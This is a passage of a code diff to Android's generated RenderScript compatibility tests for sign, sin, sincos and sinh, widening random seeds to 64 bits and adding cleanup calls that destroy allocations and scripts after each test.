             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkSignFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf8972b96l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2eb3af60f8972b96l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testSignFloat3Float3(inV, out);
             verifyResultsSignFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSignFloat3Float3(inV, out);
             verifyResultsSignFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkSignFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xeeb24c74l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x2eb5787beeb24c74l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testSignFloat4Float4(inV, out);
             verifyResultsSignFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSignFloat4Float4(inV, out);
             verifyResultsSignFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkSignHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf1994bfel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa305b29ef1994bfel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testSignHalfHalf(inV, out);
             verifyResultsSignHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSignHalfHalf(inV, out);
             verifyResultsSignHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkSignHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xa36cebb0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x74262de2a36cebb0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testSignHalf2Half2(inV, out);
             verifyResultsSignHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSignHalf2Half2(inV, out);
             verifyResultsSignHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkSignHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x274b0a4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x742638840274b0a4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testSignHalf3Half3(inV, out);
             verifyResultsSignHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSignHalf3Half3(inV, out);
             verifyResultsSignHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkSignHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x617c7598l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x74264325617c7598l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testSignHalf4Half4(inV, out);
             verifyResultsSignHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSignHalf4Half4(inV, out);
             verifyResultsSignHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSignHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSignHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.java
index e11ba7a..9130a7c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSin.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestSinRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkSinFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe3401d29l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x983d81dfe3401d29l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testSinFloatFloat(inV, out);
             verifyResultsSinFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinFloatFloat(inV, out);
             verifyResultsSinFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkSinFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1e8cde05l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x9419bf571e8cde05l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testSinFloat2Float2(inV, out);
             verifyResultsSinFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinFloat2Float2(inV, out);
             verifyResultsSinFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkSinFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x14a7fee3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x941b887214a7fee3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testSinFloat3Float3(inV, out);
             verifyResultsSinFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinFloat3Float3(inV, out);
             verifyResultsSinFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkSinFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xac31fc1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x941d518d0ac31fc1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testSinFloat4Float4(inV, out);
             verifyResultsSinFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinFloat4Float4(inV, out);
             verifyResultsSinFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkSinHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x591ded5bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x82795e8c591ded5bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testSinHalfHalf(inV, out);
             verifyResultsSinHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testSinHalfHalf(inV, out);
             verifyResultsSinHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkSinHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x505e6465l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5e9af393505e6465l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testSinHalf2Half2(inV, out);
             verifyResultsSinHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testSinHalf2Half2(inV, out);
             verifyResultsSinHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkSinHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xaf662959l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5e9afe34af662959l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testSinHalf3Half3(inV, out);
             verifyResultsSinHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testSinHalf3Half3(inV, out);
             verifyResultsSinHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkSinHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe6dee4dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5e9b08d60e6dee4dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testSinHalf4Half4(inV, out);
             verifyResultsSinHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testSinHalf4Half4(inV, out);
             verifyResultsSinHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSinHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSinHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.java
index f2e2e16..fbb4759 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSincos.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestSincosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inV;
         public Target.Floaty outCos;
@@ -44,13 +51,15 @@
     }
 
     private void checkSincosFloatFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe46c48d4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb8748e13e46c48d4l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosFloatFloatFloat(inV, out);
             verifyResultsSincosFloatFloatFloat(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloatFloatFloat: " + e.toString());
         }
@@ -60,9 +69,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosFloatFloatFloat(inV, out);
             verifyResultsSincosFloatFloatFloat(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloatFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosFloatFloatFloat(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -132,13 +144,15 @@
     }
 
     private void checkSincosFloat2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3e2fc77cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc85bab4e3e2fc77cl, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosFloat2Float2Float2(inV, out);
             verifyResultsSincosFloat2Float2Float2(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat2Float2Float2: " + e.toString());
         }
@@ -148,9 +162,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosFloat2Float2Float2(inV, out);
             verifyResultsSincosFloat2Float2Float2(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosFloat2Float2Float2(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -220,13 +237,15 @@
     }
 
     private void checkSincosFloat3Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x400dc91dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1cc0896e400dc91dl, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosFloat3Float3Float3(inV, out);
             verifyResultsSincosFloat3Float3Float3(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat3Float3Float3: " + e.toString());
         }
@@ -236,9 +255,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosFloat3Float3Float3(inV, out);
             verifyResultsSincosFloat3Float3Float3(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosFloat3Float3Float3(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -308,13 +330,15 @@
     }
 
     private void checkSincosFloat4Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x41ebcabel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7125678e41ebcabel, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosFloat4Float4Float4(inV, out);
             verifyResultsSincosFloat4Float4Float4(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat4Float4Float4: " + e.toString());
         }
@@ -324,9 +348,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosFloat4Float4Float4(inV, out);
             verifyResultsSincosFloat4Float4Float4(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosFloat4Float4Float4(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -403,13 +430,15 @@
     }
 
     private void checkSincosHalfHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9ffeac75l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9a00091a9ffeac75l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosHalfHalfHalf(inV, out);
             verifyResultsSincosHalfHalfHalf(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalfHalfHalf: " + e.toString());
         }
@@ -419,9 +448,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosHalfHalfHalf(inV, out);
             verifyResultsSincosHalfHalfHalf(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalfHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosHalfHalfHalf(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -498,13 +530,15 @@
     }
 
     private void checkSincosHalf2Half2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x1b528cc9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x87e4d0311b528cc9l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosHalf2Half2Half2(inV, out);
             verifyResultsSincosHalf2Half2Half2(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf2Half2Half2: " + e.toString());
         }
@@ -514,9 +548,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosHalf2Half2Half2(inV, out);
             verifyResultsSincosHalf2Half2Half2(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf2Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosHalf2Half2Half2(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -593,13 +630,15 @@
     }
 
     private void checkSincosHalf3Half3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x79f19d98l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xad99501a79f19d98l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosHalf3Half3Half3(inV, out);
             verifyResultsSincosHalf3Half3Half3(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf3Half3Half3: " + e.toString());
         }
@@ -609,9 +648,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosHalf3Half3Half3(inV, out);
             verifyResultsSincosHalf3Half3Half3(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf3Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosHalf3Half3Half3(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
@@ -688,13 +730,15 @@
     }
 
     private void checkSincosHalf4Half4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd890ae67l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd34dd003d890ae67l, false);
         try {
             Allocation outCos = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocOutCos(outCos);
             script.forEach_testSincosHalf4Half4Half4(inV, out);
             verifyResultsSincosHalf4Half4Half4(inV, outCos, out, false);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf4Half4Half4: " + e.toString());
         }
@@ -704,9 +748,12 @@
             scriptRelaxed.set_gAllocOutCos(outCos);
             scriptRelaxed.forEach_testSincosHalf4Half4Half4(inV, out);
             verifyResultsSincosHalf4Half4Half4(inV, outCos, out, true);
+            outCos.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testSincosHalf4Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsSincosHalf4Half4Half4(Allocation inV, Allocation outCos, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.java
index 82105e1..6e25498 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestSinh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestSinhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkSinhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbda70dd1l, false);
